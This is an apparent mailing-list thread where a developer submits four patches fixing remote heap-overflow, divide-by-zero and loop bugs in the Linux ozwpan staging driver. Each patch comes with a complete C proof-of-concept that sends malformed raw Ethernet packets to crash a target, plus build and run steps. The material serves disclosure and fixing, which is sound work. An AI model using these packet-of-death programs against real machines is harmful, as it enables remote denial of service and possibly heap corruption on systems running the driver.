$ gcc ./poc.c -o ./poc
- Run the PoC:
# ./poc eth0 [mac-address]These PoCs should also be useful to the maintainers for testing out constructing and sending various other types of malformed packets against which this driver should be hardened.
Please assign CVEs for these vulnerabilities. I believe the first two patches of this set can receive one CVE for both, and the remaining two can receive one CVE each.
On a slightly related note, there are several other vulnerabilities in this driver that are worth looking into. When ozwpan receives a packet, it casts the packet into a variety of different structs, based on the value of type and length parameters inside the packet. When making these casts, and when reading bytes based on this length parameter, the actual length of the packet in the socket buffer is never actually consulted. As such, it's very likely that a packet could be sent that results in the kernel reading memory in adjacent buffers, resulting in an information leak, or from unpaged addresses, resulting in a crash. In the former case, it may be possible with certain message types to actually send these leaked adjacent bytes back to the sender of the packet. So, I'd highly recommend the maintainers of this driver go branch-by-branch from the initial rx function, adding checks to ensure all reads and casts are within the bounds of the socket buffer.
Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS
drivers/staging/ozwpan/ozhcd.c | 8 ++++---- drivers/staging/ozwpan/ozusbif.h | 4 ++-- drivers/staging/ozwpan/ozusbsvc1.c | 11 +++++++++-- 3 files changed, 15 insertions(+), 8 deletions(-)
Signature · 1 line
2.3.6
PATCH 1/4 ozwpan: Use proper check to prevent heap overflow
Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data.
This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
drivers/staging/ozwpan/ozusbsvc1.c +3 -1
@@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)case OZ_GET_DESC_RSP : {struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; -int data_len = elt->length - +u8 data_len = elt->length -sizeof (struct oz_get_desc_rsp ) +1 ; +if (data_len > elt->length) +break ;u16 offs =le16_to_cpu (get_unaligned (&body->offset));u16 total_size =le16_to_cpu (get_unaligned (&body->total_size));
Signature · 1 line
2.3.6
Greg Kroah-Hartman
maintainerRe: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
Quoted 187 lines · Jason A. Donenfeld
Since
elt->lengthis a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy insideoz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data.This could result in remote code execution. A PoC which obtains DoS follows below. It requires the
ozprotocol.hfile from this module.=-=-=-=-=-=
#include <
arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>#define u8
uint8_t
#define u16uint16_t
#define u32uint32_t
#define__packed__attribute__((__packed__))
#include "ozprotocol.h"static int hex2num(char c)
{ if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; }int
main(int argc, char *argv[]){ if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) - 2 }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(0), .total_size = htole16(0), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; }Signed-off-by Jason A. Donenfeld <[email protected]>--- drivers/staging/ozwpan/ozusbsvc1.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)drivers/staging/ozwpan/ozusbsvc1.c +0
-0@@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)case OZ_GET_DESC_RSP : {
drivers/staging/ozwpan/ozusbsvc1.c void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) · line 399
Quoted 10 lines
drivers/staging/ozwpan/ozusbsvc1.c +3
-1struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; -int data_len = elt->length - +u8 data_len = elt->length -sizeof (struct oz_get_desc_rsp ) +1 ; +if (data_len > elt->length) +break ;u16 offs =le16_to_cpu (get_unaligned (&body->offset));u16 total_size =le16_to_cpu (get_unaligned (&body->total_size));
This patch adds a build warning. Please fix it up and resend the series.
thanks,
greg k-h
PATCH 2/4 ozwpan: Use unsigned ints to prevent heap overflow
In reply to Jason A. DonenfeldUsing signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozhcd.c | 8 ++++---- drivers/staging/ozwpan/ozusbif.h | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-)
drivers/staging/ozwpan/ozhcd.c +4 -4
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)/* * Context: softirq */ -void oz_hcd_get_desc_cnf (void *hport,u8 req_id,int status,const u8 *desc, -int length,int offset,int total_size) +void oz_hcd_get_desc_cnf (void *hport,u8 req_id,u8 status,const u8 *desc, +u8 length,u16 offset,u16 total_size) {struct oz_port *port = hport;struct urb *urb;
@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,if (!urb)return ;if (status ==0 ) { -int copy_len; -int required_size = urb->transfer_buffer_length; +unsigned int copy_len; +unsigned int required_size = urb->transfer_buffer_length;if (required_size > total_size) required_size = total_size;
drivers/staging/ozwpan/ozusbif.h +2 -2
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);/* Confirmation functions. */ -void oz_hcd_get_desc_cnf (void *hport,u8 req_id,int status, -const u8 *desc,int length,int offset,int total_size); +void oz_hcd_get_desc_cnf (void *hport,u8 req_id,u8 status, +const u8 *desc,u8 length,u16 offset,u16 total_size);void oz_hcd_control_cnf (void *hport,u8 req_id,u8 rcode,const u8 *data,int data_len);
Signature · 1 line
2.3.6
PATCH 3/4 ozwpan: divide-by-zero leading to panic
In reply to Jason A. DonenfeldA network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)
drivers/staging/ozwpan/ozusbsvc1.c +4 -1
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr;u8 *data = body->data; -int n = (len -sizeof (struct oz_multiple_fixed )+1 ) +int n; +if (!body->unit_size) +break ; + n = (len -sizeof (struct oz_multiple_fixed )+1 ) / body->unit_size;while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
Signature · 1 line
2.3.6
PATCH 4/4 ozwpan: unchecked signed subtraction leads to DoS
In reply to Jason A. DonenfeldThe subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
drivers/staging/ozwpan/ozusbsvc1.c +3 -1
@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr;u8 *data = body->data; -int n; +unsigned int n;if (!body->unit_size)break ; n = (len -sizeof (struct oz_multiple_fixed )+1 ) / body->unit_size; +if (n > len / body->unit_size) +break ;while (n--) {oz_hcd_data_ind (usb_ctx->hport, body->endpoint, data, body->unit_size);
Signature · 1 line
2.3.6
v2 cover ozwpan: Four remote packet-of-death vulnerabilities
In reply to Jason A. DonenfeldThis is v2 for this patch series, fixing a compiler warning.
The ozwpan driver accepts network packets, parses them, and converts them into various USB functionality. There are numerous security vulnerabilities in the handling of these packets. Two of them result in a memcpy(kernel_buffer, network_packet, -length), one of them is a divide-by-zero, and one of them is a loop that decrements -1 until it's zero.
I've written a very simple proof-of-concept for each one of these vulnerabilities to aid with detecting and fixing them. The general operation of each proof-of-concept code is:
- Load the module with:
# insmod ozwpan.ko g_net_dev=eth0
- Compile the PoC with ozprotocol.h from the kernel tree:
$ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
$ gcc ./poc.c -o ./poc
- Run the PoC:
# ./poc eth0 [mac-address]These PoCs should also be useful to the maintainers for testing out constructing and sending various other types of malformed packets against which this driver should be hardened.
Please assign CVEs for these vulnerabilities. I believe the first two patches of this set can receive one CVE for both, and the remaining two can receive one CVE each.
On a slightly related note, there are several other vulnerabilities in this driver that are worth looking into. When ozwpan receives a packet, it casts the packet into a variety of different structs, based on the value of type and length parameters inside the packet. When making these casts, and when reading bytes based on this length parameter, the actual length of the packet in the socket buffer is never actually consulted. As such, it's very likely that a packet could be sent that results in the kernel reading memory in adjacent buffers, resulting in an information leak, or from unpaged addresses, resulting in a crash. In the former case, it may be possible with certain message types to actually send these leaked adjacent bytes back to the sender of the packet. So, I'd highly recommend the maintainers of this driver go branch-by-branch from the initial rx function, adding checks to ensure all reads and casts are within the bounds of the socket buffer.
Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS
drivers/staging/ozwpan/ozhcd.c | 8 ++++---- drivers/staging/ozwpan/ozusbif.h | 4 ++-- drivers/staging/ozwpan/ozusbsvc1.c | 18 ++++++++++++++---- 3 files changed, 20 insertions(+), 10 deletions(-)
Signature · 1 line
2.4.1
PATCH v2 1/4 ozwpan: Use proper check to prevent heap overflow
